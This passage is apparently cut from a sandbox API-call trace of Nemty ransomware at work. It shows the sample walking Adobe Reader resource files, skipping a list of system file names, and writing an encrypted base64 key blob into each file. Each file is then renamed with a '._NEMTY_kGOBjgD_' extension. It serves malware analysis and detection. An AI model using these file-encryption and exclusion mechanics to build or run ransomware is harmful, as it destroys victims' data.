lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_DE_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.de_DE_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0215.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_DE_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0215.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_DE_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.de_DE_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340218 [0215.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340048 [0215.116] Sleep (dwMilliseconds=0x5) [0215.122] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33dc3490, dwHighDateTime=0x1d561e8)) [0215.122] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33dc3490, dwHighDateTime=0x1d561e8)) [0215.122] GetLastError () returned 0x0 [0215.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.122] GetLastError () returned 0x0 [0215.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.122] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.122] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.122] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0215.122] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="AWu8zn4L7JgFOJZj60V2mo0qySBffXdi9j/RjMybtB1sMyD0w2KnHm60letrVQ7S\r\n0dTEQdpytVjvuJpK6gRR3iFXDPlTV45aDI/wjl/wNAUayWf71TwV+O/mCWRZIg6t\r\nw5ogmynzk6WN/bzccPEqSFQPCjF9ZnWoHUyfcQeaq5yIP8YVyTUgE1heKY2ad3bo\r\nHa0HLjXciBbRSEZOm2q+/l55t5/eqDR3JmqMrdXoK020kdScl7TLkjJ2QJr6tVHy\r\nQ8F7I5L22rmDS0H1uNIAbp/lYv+T3Z97TI54pUMwv7uK2W/ndSLpZhaWIY2RnwVm\r\nQLqWLxwp3wQKiiB+3ZzpnA==\r\n", pcchString=0x653e5dc) returned 1 [0215.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0215.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.122] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de_preeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.123] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=29478) returned 1 [0215.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7320) returned 0x6352c48 [0215.123] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.123] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7320, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7320, lpOverlapped=0x0) returned 1 [0215.126] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.126] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7320, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7320, lpOverlapped=0x0) returned 1 [0215.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.127] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=29478, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7326 [0215.127] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.127] CloseHandle (hObject=0x2e8) returned 1 [0215.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340310 [0215.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340408 [0215.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63491c8 [0215.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340408 | out: hHeap=0x4f90000) returned 1 [0215.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.127] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE_PREEURO.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de_preeuro.txt._nemty_kgobjgd_")) returned 1 [0215.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63491c8 | out: hHeap=0x4f90000) returned 1 [0215.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340310 | out: hHeap=0x4f90000) returned 1 [0215.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0215.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.128] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e92, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.el.txt", cAlternateFileName="DI372F~1.TXT")) returned 1 [0215.128] lstrcmpiW (lpString1="DisplayLanguageNames.el.txt", lpString2=".") returned 1 [0215.128] lstrcmpiW (lpString1="DisplayLanguageNames.el.txt", lpString2="..") returned 1 [0215.128] lstrcmpiW (lpString1="DisplayLanguageNames.el.txt", lpString2="...") returned 1 [0215.128] lstrcmpiW (lpString1="DisplayLanguageNames.el.txt", lpString2="windows") returned -1 [0215.128] lstrcmpiW (lpString1="DisplayLanguageNames.el.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.128] lstrcmpiW (lpString1="DisplayLanguageNames.el.txt", lpString2="rsa") returned -1 [0215.128] lstrcmpiW (lpString1="DisplayLanguageNames.el.txt", lpString2="NTDETECT.COM") returned -1 [0215.128] lstrcmpiW (lpString1="DisplayLanguageNames.el.txt", lpString2="ntldr") returned -1 [0215.128] lstrcmpiW (lpString1="DisplayLanguageNames.el.txt", lpString2="MSDOS.SYS") returned -1 [0215.128] lstrcmpiW (lpString1="DisplayLanguageNames.el.txt", lpString2="IO.SYS") returned -1 [0215.128] lstrcmpiW (lpString1="DisplayLanguageNames.el.txt", lpString2="boot.ini") returned 1 [0215.128] lstrcmpiW (lpString1="DisplayLanguageNames.el.txt", lpString2="boot.ini") returned 1 [0215.129] lstrcmpiW (lpString1="DisplayLanguageNames.el.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.129] lstrcmpiW (lpString1="DisplayLanguageNames.el.txt", lpString2="ntuser.dat") returned -1 [0215.129] lstrcmpiW (lpString1="DisplayLanguageNames.el.txt", lpString2="desktop.ini") returned 1 [0215.129] lstrcmpiW (lpString1="DisplayLanguageNames.el.txt", lpString2="CONFIG.SYS") returned 1 [0215.129] lstrcmpiW (lpString1="DisplayLanguageNames.el.txt", lpString2="RECYCLER") returned -1 [0215.129] lstrcmpiW (lpString1="DisplayLanguageNames.el.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.129] lstrcmpiW (lpString1="DisplayLanguageNames.el.txt", lpString2="bootmgr") returned 1 [0215.129] lstrcmpiW (lpString1="DisplayLanguageNames.el.txt", lpString2="programdata") returned -1 [0215.129] lstrcmpiW (lpString1="DisplayLanguageNames.el.txt", lpString2="appdata") returned 1 [0215.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.el.txt", lpUsedDefaultChar=0x0) returned 27 [0215.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.el.txt", lpUsedDefaultChar=0x0) returned 27 [0215.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.el.txt", lpUsedDefaultChar=0x0) returned 27 [0215.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.el.txt", lpUsedDefaultChar=0x0) returned 27 [0215.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.129] Sleep (dwMilliseconds=0x5) [0215.137] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33de95f0, dwHighDateTime=0x1d561e8)) [0215.137] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33de95f0, dwHighDateTime=0x1d561e8)) [0215.137] GetLastError () returned 0x0 [0215.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.138] GetLastError () returned 0x0 [0215.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.138] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.138] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.138] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0215.138] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="mq2m3OAaS1dBRs2rpOO2ml8ckvNguOz4PUr5GVo+Uh+XUbGxDWkQeX+tX93XLDAd\r\n6bR62LAN9npTSFHoJxz350raCrMM8ZSXSf8ZKY0DnA0lKklZg7d/c6ecIJm77MDC\r\nAQos/TTE/SSYY87S4q2JA5pvwvDeQyTzxNgHb8hkyInBOJ/UkNbzFU63beMEB3ND\r\nL2DUdMIlnk+3SMj3w8fEdFtR/pd6aDogSYkcseklu5mXIBwrLVYKtWdlwLocnzTa\r\nh+EMy/xmZPJSGcxKXRJHOUTpQeqVlBHz4AaduB77FQJOFadDkmkzSSzG59TQcJ2H\r\n2U7a3rP4sq6IM1KQDwGLQw==\r\n", pcchString=0x653e5dc) returned 1 [0215.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0215.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.138] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.139] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28306) returned 1 [0215.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e90) returned 0x6352c48 [0215.139] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.139] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e90, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e90, lpOverlapped=0x0) returned 1 [0215.143] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.143] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e90, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e90, lpOverlapped=0x0) returned 1 [0215.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.143] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28306, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e92 [0215.143] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.143] CloseHandle (hObject=0x2e8) returned 1 [0215.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.143] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.143] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.143] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el.txt._nemty_kgobjgd_")) returned 1 [0215.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.144] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e92, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.el_GR.txt", cAlternateFileName="DI5702~1.TXT")) returned 1 [0215.144] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR.txt", lpString2=".") returned 1 [0215.144] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR.txt", lpString2="..") returned 1 [0215.144] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR.txt", lpString2="...") returned 1 [0215.144] lstrcmpiW (lpString1="DisplayLanguageNames.el_GR.txt", lpString2="windows") returned -1 [0215.144] lstrcmpiW 